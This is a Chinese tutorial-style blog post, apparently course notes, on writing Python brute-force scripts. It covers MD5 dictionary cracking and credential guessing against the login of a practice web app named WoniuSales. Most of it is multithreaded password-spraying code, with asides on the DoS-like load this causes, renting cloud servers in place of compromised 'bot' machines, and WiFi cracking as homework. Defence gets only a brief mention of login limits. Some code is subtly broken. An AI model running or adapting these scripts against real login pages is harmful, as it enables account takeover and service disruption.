12-python编写暴力破解poc

一、爆破MD5

场景:已知MD5加密字符串,如何得知明文?

解决方案:

算法碰撞,一串128位的MD5(32位16进制)其组合数量

字典碰撞,给定一个字典文件,读取里面的密码明文,再对其进行MD5,

再和目标字符串对比,如果相同,则明文找到。

二、爆破woniusales

1、验证登录请求

使用burp抓包,查看登录的数据怎么构造,以及响应的url地址

2、已知用户名,爆破密码

import time,requests
# 爆破Woniusales:用户名和密码都不知道,1、用户名已知,密码未知
def ws_01():
    with open('文件的位置') as file:
        pw_list = file.readline()
    url = ''
    count = 0
    for password in pw_list:
        data = {'username':'woniu','password':password.strip(),'verifycode':'0000'}
        resp = requests.post(url=url,data=data)     #去进行post请求
        if 'login-fail' not in resp.text:
            print(f"疑似破解成功,密码为:{password.strip()}")
            exit()
        count += 1
    print(f'共计尝试{count}次')


if __name__ == '__main__':
    # md5('cxcsd')
    ws_01()

3、未知用户名,未知密码爆破

# 未知用户名,未知密码,多线程并进行破解
#500用户,6000条密码,最多300万次登录操作,
# 同时,由于多线程并发登录,导致服务器压力倍增(DOS),进而导致服务器响应时间会显著变慢
# 如果服务器不小心崩溃,那么很有可能引起重视,进而检测访问日志,封锁IP,(DDOS可以更好模拟)

# 每一个用户一个线程,每个线程循环6000次
count = 0
def ws_thread(username):
    with open('密码文件的位置') as file:
        pw_list = file.readlines()
    url = 'http://'   # 这儿的路径是登录界面响应的界面
    global count
    for password in pw_list:
        data = {'username': username, 'password': password.strip(), 'verifycode': '0000'}
        resp = requests.post(url=url, data=data)  # 去进行post请求
        if 'login-fail' not in resp.text:
            print(f"疑似破解成功,密码为:{password.strip()}")
            exit()
        count += 1
    print(f'共计尝试{count}次')

# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10():
    pass

if __name__ == '__main__':
    # 多线程,读取用户字典,并遍历获取用户名
    with open('用户文件所在的位置') as file:
        user_list = file.readlines()
    for username in user_list:
        # 这儿有多少个线程,我就并发多少个用户
        threading.Thread(target=ws_thread,args=(username.strip(),)).start()

采用多线程去处理大数据

# 如果用户字典有5000条数据,又该如何处理?
# 解决方案,每个线程处理十个用户
# 本题的核心:如何给多线程分配任务,此类思路可以解决大多数多线程的常规问题,比如多线程爬虫,扫描工作等。
def ws_thread_10(sublist):
    # 怎么去分配任务-->指派任务--》指派更加有规律的方式--》分类的方式
    #先进行列表的可行性分析
    # with open('用户文件') as file:
    #     user_list = file.readlines()
    # # print(user_list[0:10])  # 可以通过切片的方式进行操作
    # # print(user_list[10:20])
    # # print(user_list[20:30])
    # # # 通过列表切片的方式将列表分配到每一个小组里,每个小组10个用户
    # for i in range(0,len(user_list),10):  # 对列表进行切片处理分成一个子列表
    #     print(user_list[i:i+10])
    with open('密码文件的位置') as file:
        pw_list = file.readlines()

    for username in sublist:
        url = ''
        for password in pw_list:
            data = {'username': username.strip(), 'password': password.strip(), 'verifycode': '0000'}
            resp = requests.post(url=url, data=data)  # 去进行post请求
            if 'login-fail' not in resp.text:
                print(f"疑似破解成功,账号为{username.strip()}, 密码为:{password.strip()}")
                exit()



if __name__ == '__main__':
    # 每个线程负责10个用户
    with open("用户的位置") as file:
        user_list = file.readlines()

    for i in range(0,len(user_list),10):
        sublist = user_list[i:i+10]   # 设置子进程,核心点是切片,作为参数把列表传递过去
        threading.Thread(target=ws_thread_10,args=(sublist,)).start()

三、爆破条件与防范

1.登录成功或失败的条件可验证

2.服务器端允许多次失败登录而不会禁止

首先监控到登录的请求 ,查看通行的过程

查看登录是发送了那些字段,

查看登录后的响应,

从流量上来看DOS攻击和暴力破解特征是一样的

暴力破解的点

一、应用场景:

只要有密码的地方,均可以尝试使用爆破方案

二、应用条件:

爆破不受次数的限制,可以一直尝试,所以爆破的防护方案:次数限制,

没有肉鸡怎么办?

去云服务器平台临时租赁

爆破分类:

离线爆破

在线爆破

作业:如何爆破wifi?如何防护?

爆破WiFi简单粗暴的进入内网。

一个进程,的线程有限,如何能够提升并发能力呢?

1.将任务分配到不同电脑上,

2.在同一台电脑上运行多个程序。

相关推荐

  1. 12-python编写暴力破解poc

    2024-04-29 08:20:03       31 阅读
  2. 利用python编写简易POC脚本

    2024-04-29 08:20:03       52 阅读
  3. 36-5 Python 编写poc基础

    2024-04-29 08:20:03       39 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-04-29 08:20:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-04-29 08:20:03       100 阅读
  3. 在Django里面运行非项目文件

    2024-04-29 08:20:03       82 阅读
  4. Python语言-面向对象

    2024-04-29 08:20:03       91 阅读

热门阅读

  1. Lambda表达式

    2024-04-29 08:20:03       29 阅读
  2. http响应,结合springboot

    2024-04-29 08:20:03       35 阅读
  3. 排序算法(总结)-C++

    2024-04-29 08:20:03       34 阅读
  4. 多线程执行List的addAll方法产生的并发问题

    2024-04-29 08:20:03       35 阅读
  5. 每天一个数据分析题(二百九十九)

    2024-04-29 08:20:03       33 阅读
  6. 牛客小白月赛92题解

    2024-04-29 08:20:03       33 阅读
  7. OSS 文件下载-Excel

    2024-04-29 08:20:03       34 阅读
  8. 【Firewall】服务器访问限制白名单

    2024-04-29 08:20:03       30 阅读
  9. 无人机在测绘领域的应用

    2024-04-29 08:20:03       29 阅读
  10. 41 对MVC,MVP,MVVM的理解

    2024-04-29 08:20:03       26 阅读
  11. 2385. 感染二叉树需要的总时间

    2024-04-29 08:20:03       35 阅读
  12. Spark RDD

    Spark RDD

    2024-04-29 08:20:03      26 阅读
  13. 从零学算法135

    2024-04-29 08:20:03       30 阅读
  14. Python.第六章函数应用实例

    2024-04-29 08:20:03       32 阅读